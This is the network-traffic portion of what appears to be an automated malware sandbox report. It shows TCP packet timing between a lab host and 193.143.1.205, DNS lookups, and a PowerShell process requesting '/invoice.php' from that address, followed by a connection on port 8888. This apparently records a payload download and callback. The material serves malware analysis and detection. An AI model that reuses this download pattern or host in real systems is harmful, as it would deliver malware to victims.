Jan 11, 2025 01:44:59.106128931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106139898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106178999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106183052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106211901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106245041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106252909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106277943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106311083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106318951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106342077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106393099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106406927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106426001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106472015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106476068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106511116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106544018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106594086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.106595039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106633902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106661081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106693029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106725931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106761932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106796026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106844902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106894970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106924057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106955051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.106990099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.107022047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.107053041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.107055902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.107070923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.107089043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.107124090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.107156992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.107168913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.107215881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.129618883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.129630089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.129642010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.129652977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.129662037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.129672050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.129709959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.129750967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.130354881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.132323980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132407904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132417917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132427931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132447958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.132468939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.132524967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132541895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132553101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132584095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.132602930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132612944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132622957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132643938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.132654905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.132663965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132721901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.132757902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.153647900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153702021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153736115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153768063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153800964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153834105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153884888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153884888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.153884888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.153913975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.153933048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.153983116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.153989077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154021978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154053926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154067039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.154086113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154125929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154139996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.154175043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154216051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.154225111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154257059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154292107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154294014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.154324055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154357910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154375076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.154392004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154423952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154433012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.154457092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154489994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.154498100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.185658932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185739040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185770035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185803890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185842037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185903072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185902119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.185902119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.185939074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.185940027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.185988903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186001062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186052084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186079979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186094999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186115980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186157942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186170101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186207056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186248064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186259985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186292887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186326027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186338902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186374903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186409950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186419964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186448097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186480999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186501026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186549902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186594009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186599970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186635971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186674118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186686993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186707973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186742067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186753988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186773062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186815023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186821938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186870098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186918020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.186919928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186953068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186986923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.186995983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187016010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187048912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187060118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187083960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187117100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187129974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187150955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187184095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187200069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187218904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187251091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187258005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187284946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187320948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187344074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187397957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187444925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187447071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187479019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187506914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187520027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187539101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187572956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187580109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187604904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187638044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187644958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187669992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187705994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187711954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187808037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187840939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187865973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187874079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187906027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187917948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.187939882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187972069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.187987089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188007116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188039064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188050985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188071966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188122034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188123941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188154936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188195944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188204050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188255072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188287020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188301086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188319921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188347101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188364029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188379049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188411951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188421965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188445091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188478947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188488007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188535929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188579082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188586950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188618898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188652039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188663006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188684940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188718081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188725948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188750982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188782930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188796997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.188817024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.188864946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.216402054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216418982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216429949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216439962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216451883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216464996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216475964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.216634989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.216634989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.219363928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219432116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.219434023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219444036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219455004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219465971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219475031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219486952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219492912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.219499111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.219515085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.219543934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.240813017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.240917921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.240979910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241040945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241075993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241085052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241111040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241142988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241153002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241178036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241213083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241219997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241246939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241280079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241287947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241312981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241347075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241354942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241379976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241414070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241420984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241447926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241483927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241486073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241517067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241550922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241558075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241585016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241617918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241626024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.241652012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.241693020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.244539022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.247823954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.272742987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.272818089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.272872925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.272887945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.272907972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.272944927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.272952080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.272979021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273015976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273022890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.273051023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273085117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273092985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.273114920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273149014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273161888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.273183107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273217916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273226023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.273252010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273286104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:59.273293972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.314290047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.556940079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:59.762685061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:45:00.191663980 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:45:00.196782112 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 01:45:00.196916103 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:45:00.197108030 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:45:00.201926947 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 01:45:00.966140985 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 01:45:01.017398119 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 01:45:01.766506910 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:45:07.715256929 CET	56271	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:45:07.715256929 CET	192.168.2.5	1.1.1.1	0x5977	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:45:07.722477913 CET	1.1.1.1	192.168.2.5	0x5977	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:45:08.543396950 CET	1.1.1.1	192.168.2.5	0x71be	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:45:08.543396950 CET	1.1.1.1	192.168.2.5	0x71be	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6048	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:44:57.724112988 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
